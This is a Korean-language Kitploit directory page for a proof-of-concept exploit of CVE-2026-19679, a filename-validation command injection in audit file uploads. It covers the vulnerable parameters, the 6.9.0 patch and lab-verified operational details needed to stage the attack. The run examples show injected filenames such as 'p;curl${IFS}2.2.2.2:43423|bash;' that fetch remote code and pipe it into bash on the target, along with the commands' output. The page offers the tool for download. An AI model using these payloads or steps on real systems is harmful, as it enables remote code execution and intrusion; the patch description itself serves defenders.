Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-19679 — CVE-2026-19679용 개념 증명 익스플로잇으로, 감사(audit) 파일 업로드의 불충분한 파일명 검증으로 인한 명령 주입 취약점을 다룹니다. 차등 버전 프로브 및 원격 명령 실행을 위한 exec 모드를 포함합니다. | Kitploit
도구/GitHubGitHub/h00die/poc-cve-2026-19679
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

CVE-2026-19679용 개념 증명 익스플로잇으로, 감사(audit) 파일 업로드의 불충분한 파일명 검증으로 인한 명령 주입 취약점을 다룹니다. 차등 버전 프로브 및 원격 명령 실행을 위한 exec 모드를 포함합니다.

저장소 보기
17시간 38분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

InfoGraphic

CVE-2026-19679 — 업로드된 파일 이름의 불충분한 무해화 (입력 검증)

상태: CONFIRMED — 6.7.2-14.el9 랩에서 확인됨(2026-08-20). tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml"이 포함된 POST /rest/auditFile 요청은 HTTP 200을 반환하고 AuditFile #1000002를 등록했습니다 — 셸 메타문자가 포함된 파일 이름이 검증을 통과하여 종단 간(end-to-end) 저장되었습니다. 6.9.0에서는 동일한 요청이 "Invalid tailoring filename." 오류로 거부됩니다.

취약점

감사 파일 업로드 파라미터(filename, tailoringFilename, tailoringOriginalFilename)는 PARAM_FILENAME()으로 검증되며, 여기서는 세 가지만 확인합니다: 비어 있지 않은지, 가 없는지( 동일성), 그리고 스테이징된 파일이 존재하는지. — , , 백틱, , 공백이 그대로 통과합니다.

Utility::validateParams()
/
basename()
문자셋 제약은 없습니다
;
$()
${IFS}

이러한 이름들은 이후 다음 지점으로 흘러 들어갑니다:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (이름에 임의의 메타문자가 포함된 파일이 생성됨)
  • SCAP zip 재패키징 명령 — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") 여기서 이스케이프되지 않은 $tmpZipFile은 클라이언트의 filename 파라미터에서 파생되며 — CVE-2026-19681의 후속 명령 주입입니다.

랩에서 검증된 경계: 경로 탐색은 6.9 이전 결함의 일부가 아닙니다 — 두 테일러링 파라미터 모두 /를 거부합니다(../ 페이로드에서 오류 146 Invalid syntax for attribute ... 발생). 누락된 부분은 정확히 문자셋 필터이며, 이는 CVE 설명에서 "후속 명령 주입에 기여할 수 있다"고 할 때 의미하는 바입니다.

패치(6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

여기에 두 이름 모두에 대한 basename()과 zip 피연산자에 대한 escapeshellarg()가 추가되었습니다.

PoC

버전별 차등 프로브 — 하나의 요청으로 버전마다 정반대의 결과 확인:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200 (메타문자 이름으로 감사 파일이 생성됨) 또는 오류 106 (실행 후 반송; 이름은 여전히 rename()/zip에 도달함) → 문자셋 검증 없음
  • 6.9.0 → 즉시 "Invalid tailoring filename." 반환

운영 참고 사항(모두 랩에서 검증됨):

  • 업로드 리소스는 /rest/file/upload (multipart Filedata, context 폼 필드)입니다
  • 감사 zip은 빈 컨텍스트로 스테이징됩니다 — context=auditFile은 zip에 대해 콘텐츠 탐지를 수행합니다 (더미 zip에서 오류 107 발생)
  • 테일러링 파일에는 ≥1개의 Profile이 포함된 (내장된) 파싱 가능한 datastream XML이 있어야 합니다
  • auditFile 본문에는 type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName이 필요합니다

CVE-2026-19681과의 관계

19679는 검증 공백이고, 19681은 exec 싱크입니다. 동일한 업로드 흐름이 둘 모두를 트리거합니다: 19681은 스테이징된 filename (업로드 context 접두어를 통해)에 메타문자를 심고, 이스케이프되지 않은 $tmpZipFile을 통해 이를 실행시킵니다; 19679는 형제 파라미터들이 동일한 문자 클래스를 동일한 명령 문자열까지 (그리고 그 안으로) 허용한다는 것을 보여줍니다. 6.9.0은 하나의 커밋에서 양쪽을 모두 수정합니다: 문자셋 + basename + escapeshellarg.

실행 예시

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
도구 다운로드